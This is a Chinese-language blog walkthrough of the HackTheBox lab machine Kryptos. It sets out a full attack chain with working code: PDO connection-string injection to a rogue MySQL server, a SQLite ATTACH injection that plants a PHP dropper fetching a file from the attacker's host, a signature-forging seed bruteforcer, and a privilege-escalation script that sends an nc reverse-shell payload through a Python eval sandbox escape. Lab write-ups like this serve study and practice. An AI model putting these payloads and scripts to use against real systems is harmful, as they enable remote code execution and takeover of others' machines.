HTB-靶机-Kryptos

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.129

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.129 -o ./Kryptos-autorecon

官方显示难度不小

扫描出来就开了两个端口,再看你下目录爆破

访问/dev目录显示403,正常访问显示一个登陆界面

随便输入个账号和密码使用burpsuite进行抓包

在POST请求处测试了一把,确认存在PDO注入,相关知识点可参考:https://www.php.net/manual/en/pdo.connections.php https://www.php.net/manual/en/book.pdo.php

测试过程如下:

将POST请求的db更改为bmfx发现响应异常

由此可确认存在pdo注入,此处便可以通过本地启动mysql数据库3306端口来接收目标靶机请求的数据,因为需要能够识别mysql的数据库协议,所以使用metasploit启动

再次通过burpsuite抓包更改POST请求数据,类似如下更改,token会随机变化

username=bmfx&password=bmfx&db=cryptor;host=10.10.14.6&token=25eb72989fa9568972bbe91eada21c217c14f6af60964034ab5b5a92aee522cf&login=

完成之后发现接收到以上数据,我们使用john进行带入rockyoou字典爆破出来

krypt0n1te       (dbuser)

得到了上面的数据我们就需要真正本地搭建一个mysql服务用来接收目标靶机的数据了,我这里测试的时候启动kali自带的数据库服务没问题,但是不知道密码,使用默认的密码也不行,就尝试重置了密码,重置方法参考:https://linuxconfig.org/how-to-reset-root-mysql-mariadb-password-on-ubuntu-20-04-focal-fossa-linux ,我这里重置的密码如下

ALTER USER 'root'@'localhost' IDENTIFIED BY 'N3w_p@ssw0rD.';

使用重置的密码进入数据库之后创建数据库,用户名密码以及给予其所有权限

create user 'dbuser' identified by 'krypt0n1te';
create database cryptor;
grant select on cryptor.* to 'dbuser'@'%';

上述完成之后本地kalimysql数据库启动完毕,再次重放上面的pdo注入,通过wireshark抓包得知发现有数据库连接,进行查询操作

SELECT username, password FROM users WHERE username='bmfx' AND password='4ef03ec15b2be3e7ece589b6411f30fd'

从上面可以看出存在表users,字段username,password ,我们创建表和字段

mysql
use cryptor
create table users( username varchar(20), password varchar(50));
insert into users values( 'bmfx', '4ef03ec15b2be3e7ece589b6411f30fd');
grant select on cryptor.users to 'dbuser'@'%';

此时我们自己就在本地搭建好了符合目标靶机登录请求的数据库查询条件,通过上面构造的用户名bmfx和密码bmfx进行登录到目标靶机,方式还是跟上面一样,修改POST请求数据包,然后放行即可

点击了下上面的加密和解密的按钮就加密按钮显示如上,解密按钮显示一些错误信息,此处SSRF漏洞,便是漫长的测试过程,通过上面的加密按钮可以读取到目标靶机的服务端的文件内容,大致过程就是读取目标靶机的文件,服务端响应的是加密的文件内容,我们通过脚本将其解密,解密代码如下

#!/usr/bin/python

C1 = (open("ciphertext1", "r").read().strip()).decode('base64')
C2 = (open("ciphertext2", "r").read().strip()).decode('base64')
M1 = open("message1", "r").read()

# C1 ^ C2
C = ""
for x,y in zip(C1, C2):
    C = C + chr( ord(x) ^ ord(y) )

# C1 ^ C2 ^ M1 = M2
M2 = ""
for x,y in zip(M1, C):
    M2 = M2 + chr( ord(x) ^ ord(y) )

print M2

在解密读取文件的过程发现了一个文件的内容代码存在SQL注入的文件代码,通过代码得知注入的参数,我们通过构造注入参数向目标写入反弹shell代码

http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/put.php' AS 'put'; CREATE TABLE put.put ( data TEXT );INSERT INTO put.put (data) VALUES('<?php file_put_contents("pwn.php",file_get_contents("http://10.10.14.6/pwn.php")) ?>');

上述成功之后可直接访问如下链接,使其触发上传功能,同时开启本地简易web服务
http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/put.php
成功之后即可触发反弹代码,进行反弹shell访问如下链接
http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/pwn.php

成功反弹shell,但是权限不够,在此靶机的家目录发现user.txt无权限读取,需要移动一把

家目录发现creds.old ,creds.txt 一个加密文件,一个明文文件

加密文件传到本地kali上将其解密,解密操作如下

刚好得到了用户rijndael的密码直接su切换过去

移动到用户rijndael之后其家目录下有个目录kryptos,里面发现个python代码

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp


def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

@route('/', method='GET')
def web_root():
    response = {'response':
                {
                    'Application': 'Kryptos Test Web Server',
                    'Status': 'running'
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

@route('/eval', method='POST')
def evaluate():
    try:
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result)
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"

# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
    expr = '2+2'
    sig = sign(str.encode(expr))
    response = {'response':
                {
                    'Expression': expr,
                    'Signature': sig.decode()
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

run(host='127.0.0.1', port=81, reloader=True)

具体分析我这就解释了,可以参考其他网上的解释,这里我对密码学也是一知半解,此文件在目标靶机上一致运行着的,本地监听端口81,使用ssh将其端口转发到kali的本地81端口

sudo ssh -L 81:127.0.0.1:81 rijndael@10.10.10.129

通过下面代码获取seed

#!/usr/bin/python
import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import requests

def secure_rng(seed):
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

num = 1
YELLOW = "\033[93m"
GREEN = "\033[32m"

for i in range(10000):
    expr = "1+1"
    seed = random.getrandbits(128)
    rand = secure_rng(seed) + 1
    sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
    vk = sk.get_verifying_key()
    sig = sign(expr)

    req = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})
    response = req.text
    if response == "Bad signature":
        print YELLOW + "[-] Attempt " + str(num) + ": failed"
        num += 1
    else:
        print GREEN + "[+] Found the seed: " + str(seed)
        exit()

我这里得到如下

得到seed就可以开始提权了,下面是提权代码

#!/usr/bin/python
import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import requests
import sys

YELLOW = "\033[93m"
GREEN = "\033[32m"

def secure_rng(seed):
    p = 2147483647
    g = 2255412
    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def sign(sk,msg):
    return binascii.hexlify(sk.sign(msg))

def brute():
    num = 1
    for i in range(10000):
        expr = "1+1"
        seed = random.getrandbits(128)
        rand = secure_rng(seed) + 1
        sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
        vk = sk.get_verifying_key()
        sig = sign(sk,expr)
        req = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})
        response = req.text
        if response == "Bad signature":
            print YELLOW + "[-] Attempt " + str(num) + ": failed"
            num += 1
        else:
            print GREEN + "[+] Found the seed: " + str(seed)
            return seed
            break

def exploit(seed,expr):
    rand = secure_rng(seed) + 1
    sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
    vk = sk.get_verifying_key()
    sig = sign(sk,expr)
    requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig})

if len(sys.argv) != 4:
    print YELLOW + "[-] Usage: {} <seed> <ip> <port> | Or to bruteforce the seed: {} -b <ip> <port>".format(sys.argv[0],sys.argv[0])
    exit()
else:
    if sys.argv[1] == "-b":
        ip = sys.argv[2]
        port = sys.argv[3]
        print YELLOW + "[*] Bruteforcing the seed."
        seed = brute()
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"
        expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"
        print YELLOW + "[*] Executing payload, check your listener."
        exploit(seed,expr)
    else:
        seed = int(sys.argv[1])
        ip = sys.argv[2]
        port = sys.argv[3]
        print YELLOW + "[*] Seed: " + str(seed)
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + str(port) + " >/tmp/f"
        expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == \'Pattern\'][0].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'" + payload + "\')"
        print YELLOW + "[*] Executing payload, check your listener."
        exploit(seed,expr)

posted @ 2020-12-28 17:44  皇帽讲绿帽带法技巧  阅读(279)  评论(0编辑  收藏  举报